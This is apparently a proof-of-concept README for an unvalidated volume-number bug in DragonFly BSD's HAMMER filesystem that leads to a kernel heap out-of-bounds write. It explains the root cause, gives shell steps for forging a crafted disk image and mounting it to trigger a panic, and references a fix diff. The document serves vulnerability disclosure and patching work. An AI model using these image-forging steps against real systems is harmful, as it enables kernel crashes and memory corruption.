# DF-0797 — PoC

**Unvalidated `vol_no` from crafted HAMMER volume header → kernel heap OOB write in `volume_map` bitmap.**

`sys/vfs/hammer/hammer_ondisk.c:210` `volume->vol_no = ondisk->vol_no` trusts a
raw `int32` from disk. `hammer.h:1582` `__hammer_vol_index(vol_no) = vol_no >> 6`
has NO mask; `volume_map[]` is `uint64_t[4]` (valid indices 0..3 = vol_no 0..255).
A crafted `vol_no` outside `[0,256)` writes past `volume_map` (the last field of
`struct hammer_mount`):

- `vol_no = 0x7FFFFFFF` → `i = 0x1FFFFFF` → ~255 MiB OOB → **page fault panic** at mount
- `vol_no = 256` → `i = 4` → 8-byte OOB OR-write past `volume_map[3]`
- `vol_no = 256+64*K+N` → single-bit OR at byte `(K*8 + N/8)` past `volume_map`

The volume-header CRC is NEVER validated at mount (`hammer_crc_test_volume` has
zero callers), so patching `vol_no` requires no CRC recompute.

## Build
```
./build.sh     # cc -O2 -o craft_img craft_img.c ; cc -O2 -o harness harness.c
```

## Run
```
./run.sh                          # full pipeline: harness + image forge + mount
# or, manually as root inside the DragonFly guest:
dd if=/dev/zero of=/root/df0797.img bs=1m count=1024
vnconfig -c vn0 /root/df0797.img
newfs_hammer -f -L TEST /dev/vn0
mkdir -p /mnt && mount -t hammer -o nohistory /dev/vn0 /mnt
echo seed > /mnt/s.txt && sync && umount /mnt && vnconfig -u vn0
./craft_img /root/df0797.img 2147483647   # forge vol_no = 0x7FFFFFFF
vnconfig -c vn0 /root/df0797.img
mount -t hammer -o nohistory /dev/vn0 /mnt   # PANIC on #0 ; EINVAL on patched #1
```

## Expected
- **#0 unpatched (GENERIC, INVARIANTS ON):** immediate kernel panic
  `Fatal trap 12: page fault while in kernel mode`
  `Stopped at hammer_install_volume+0x519: orq %rdi,0x10a30(%rbx,%rdx,8)`
- **#1 patched (fix.diff applied):** `mount: Invalid argument`,
  dmesg: `HAMMER: volume /dev/vn0 has invalid vol_no 2147483647`, no panic.
- **`./harness`** alone: deterministic OOB-write proof (no kernel needed).

## Preconditions
Root inside the DragonFly guest (mount is root-only; `vfs.usermount=0`).
Acceptable "admin mounted a crafted filesystem image" threat model.

## Files
- `craft_img.c` — volume-header `vol_no` patcher (offset 0x90 in `hammer_volume_ondisk`)
- `harness.c`   — deterministic OOB-write primitive proof (transcribes the inline fns)
- `build.sh` / `run.sh` — exact build/run pipeline
- `VERDICT.md`  — full narrative with `path:line` citations and fix validation
- `panic.txt`   — captured fatal trap 12 at `hammer_install_volume+0x519`
- `fix.diff`    — git-apply-able fix (range check + mask), validated on #1
- `manifest.json`, `env.txt`, full logs